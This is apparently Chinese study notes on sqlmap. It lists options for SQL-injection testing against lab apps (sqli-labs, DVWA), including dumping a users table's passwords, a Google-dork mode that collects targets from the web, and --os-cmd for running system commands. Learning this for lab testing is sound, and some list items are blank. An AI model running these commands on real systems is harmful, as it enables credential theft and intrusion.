检测单一URL
-u 或 --url
sqlmap.py -u “http://192.x.x.x/sqli-labs-master/Less-1?id=1” --batch (- -batch是自动确认选项)
sqlmap.py -u “http://192.x.x.x/sqli-labs-master/Less-1?id=1” --batch --banner (- -banner是得到mysql版本信息)
从不同的文件类型读取目标进行sql注入探测
(1)-l 从burp中的project options–>Misc–> proxy 中读取Http requests日志文件
(2)-m 从多行文本文件读取多个目标,一行为一个URL地址进行批量检测。
sqlmap.py -m xxx.txt
(3)-r 从文本文件中读取Http请求作为探测目标,可以利用burp抓包,把http请求保存在一个txt文件中,然后用sqlmap扫描
(4)-c 从配置文件 sqlmap.conf 中读取目标探测,把要探测的目标写入sqlmap.conf文件中即可
sqlmap.py -c sqlmap.conf
Google hack
sqlmap.py -g “inurl:.”.php?id=1"" 可以通过谷歌语法,让sqlmap自动获取目标来探测
get注入获取数据
(1)sqlmap.py -u “http://192.168.108.161/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7c290dd15142fb76532f6583decfcb4c” –dbs --batch (- -dbs 获取所有数据库,这里用- -cookie是因为不加cookie会返回302,检测不到注入点,所以利用cookie来检测是否有sql注入)
(2)sqlmap.py -u “http://192.168.108.161/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7c290dd15142fb76532f6583decfcb4c” -D security --tables --batch (获取表名)
(3)sqlmap.py -u “http://192.168.108.161/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7c290dd15142fb76532f6583decfcb4c” -D security -T users --columns --batch (获取列名)
(4)sqlmap.py -u “http://192.168.108.161/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” - - cookie"security=low;
PHPSESSID=7c290dd15142fb76532f6583decfcb4c" -D security -T users -C password --dump --batch (获取数据)
level检测级别
sqlmap.py -u “http://192.168.108.161/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit#” –level 3 (- -level,最高等级是5,默认是1)
POST注入
想要把请求类型变成POST,可以这样做↓
sqlmap.py -u “http://192.168.108.161/DVWA-master/vulnerabilities/sqli/?Submit=Submit#” - -data=“id=1” --batch
cookie注入
(- -cookie “xxx”)
请求头注入
星号*优先指定检测注入
而在- -headers “xxxx” 可以通过–headers参数来增加额外的http头,但记得- -level要指定为3, 1和2是不去检测请求头部分的注入漏洞的。
对注入的选择
(- -technique “U” --> 用联合注入的方法去探测漏洞)
其他
(1) - -param-del=某字符,当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
(2)- -referer=REFERER sqlmap可以在请求中伪造HTTP中的referer,当- -level参数设定为3或者3以上的时候会尝试对referer注入
(3)- -proxy 使用代理服务器连接到目标URL
(4) - -ignore-401 忽略HTTP 401错误
(5)
(6)- -dns-domain=DNS… DNS泄露攻击使用的域名
(7)-f 执行广泛的DBMS版本指纹检查
(8)
(9)- -os-cmd=OSCMD 执行操作系统命令(OSCMD)
(10)